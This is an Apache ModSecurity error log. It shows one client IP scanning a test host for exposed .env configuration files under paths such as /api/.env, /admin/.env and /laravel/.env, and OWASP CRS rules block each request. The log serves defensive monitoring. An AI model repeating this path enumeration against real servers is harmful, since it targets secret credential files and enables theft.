[Thu Nov 27 21:11:46.467386 2025] [:error] [pid 370269] [client 3.96.197.169:50920] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aSiwghiSlIjWBzVa8TIEywAAAAA&quot;]
[Thu Nov 27 21:11:46.467600 2025] [:error] [pid 370269] [client 3.96.197.169:50920] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aSiwghiSlIjWBzVa8TIEywAAAAA&quot;]
[Thu Nov 27 21:11:48.064390 2025] [:error] [pid 370272] [client 3.96.197.169:50922] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aSiwhAvqXKc5vwFPp-nFjQAAAAg&quot;]
[Thu Nov 27 21:11:48.064649 2025] [:error] [pid 370272] [client 3.96.197.169:50922] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aSiwhAvqXKc5vwFPp-nFjQAAAAg&quot;]
[Thu Nov 27 21:11:48.064849 2025] [:error] [pid 370272] [client 3.96.197.169:50922] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aSiwhAvqXKc5vwFPp-nFjQAAAAg&quot;]
[Thu Nov 27 21:11:48.066579 2025] [:error] [pid 370271] [client 3.96.197.169:50924] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/datavase/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aSiwhGEEsrGncgXV8Wj-7QAAAAU&quot;]
[Thu Nov 27 21:11:48.066787 2025] [:error] [pid 370271] [client 3.96.197.169:50924] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aSiwhGEEsrGncgXV8Wj-7QAAAAU&quot;]
[Thu Nov 27 21:11:48.066955 2025] [:error] [pid 370271] [client 3.96.197.169:50924] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aSiwhGEEsrGncgXV8Wj-7QAAAAU&quot;]
[Thu Nov 27 21:11:48.506528 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aSiwhO_UStX-GTeIAe_vCgAAAAY&quot;]
[Thu Nov 27 21:11:48.506747 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aSiwhO_UStX-GTeIAe_vCgAAAAY&quot;]
[Thu Nov 27 21:11:48.506933 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aSiwhO_UStX-GTeIAe_vCgAAAAY&quot;]
[Thu Nov 27 21:11:48.507721 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /database/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aSiwhDVrO3naRdRptuRQnQAAAA4&quot;]
[Thu Nov 27 21:11:48.507960 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aSiwhDVrO3naRdRptuRQnQAAAA4&quot;]
[Thu Nov 27 21:11:48.508147 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aSiwhDVrO3naRdRptuRQnQAAAA4&quot;]
[Thu Nov 27 21:11:49.595310 2025] [:error] [pid 353185] [client 3.96.197.169:50806] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aSiwhXTG8IrOxOxezX5A8AAAAAE&quot;]
[Thu Nov 27 21:11:49.595545 2025] [:error] [pid 353185] [client 3.96.197.169:50806] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aSiwhXTG8IrOxOxezX5A8AAAAAE&quot;]
[Thu Nov 27 21:11:49.595728 2025] [:error] [pid 353185] [client 3.96.197.169:50806] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aSiwhXTG8IrOxOxezX5A8AAAAAE&quot;]
[Thu Nov 27 21:11:50.158447 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aSiwhu_UStX-GTeIAe_vCwAAAAY&quot;]
[Thu Nov 27 21:11:50.158661 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aSiwhu_UStX-GTeIAe_vCwAAAAY&quot;]
[Thu Nov 27 21:11:50.158849 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aSiwhu_UStX-GTeIAe_vCwAAAAY&quot;]
[Thu Nov 27 21:11:50.609053 2025] [:error] [pid 353185] [client 3.96.197.169:50806] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aSiwhnTG8IrOxOxezX5A8QAAAAE&quot;]
[Thu Nov 27 21:11:50.609361 2025] [:error] [pid 353185] [client 3.96.197.169:50806] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aSiwhnTG8IrOxOxezX5A8QAAAAE&quot;]
[Thu Nov 27 21:11:50.609615 2025] [:error] [pid 353185] [client 3.96.197.169:50806] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aSiwhnTG8IrOxOxezX5A8QAAAAE&quot;]
[Thu Nov 27 21:11:50.915410 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tools/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aSiwhu_UStX-GTeIAe_vDAAAAAY&quot;]
[Thu Nov 27 21:11:50.915632 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aSiwhu_UStX-GTeIAe_vDAAAAAY&quot;]
[Thu Nov 27 21:11:50.915819 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aSiwhu_UStX-GTeIAe_vDAAAAAY&quot;]
[Thu Nov 27 21:11:51.373444 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aSiwhzVrO3naRdRptuRQngAAAA4&quot;]
[Thu Nov 27 21:11:51.373690 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aSiwhzVrO3naRdRptuRQngAAAA4&quot;]
[Thu Nov 27 21:11:51.373892 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aSiwhzVrO3naRdRptuRQngAAAA4&quot;]
[Thu Nov 27 21:11:51.731567 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aSiwh-_UStX-GTeIAe_vDQAAAAY&quot;]
[Thu Nov 27 21:11:51.731814 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aSiwh-_UStX-GTeIAe_vDQAAAAY&quot;]
[Thu Nov 27 21:11:51.732094 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aSiwh-_UStX-GTeIAe_vDQAAAAY&quot;]
[Thu Nov 27 21:11:52.085865 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aSiwiDVrO3naRdRptuRQnwAAAA4&quot;]
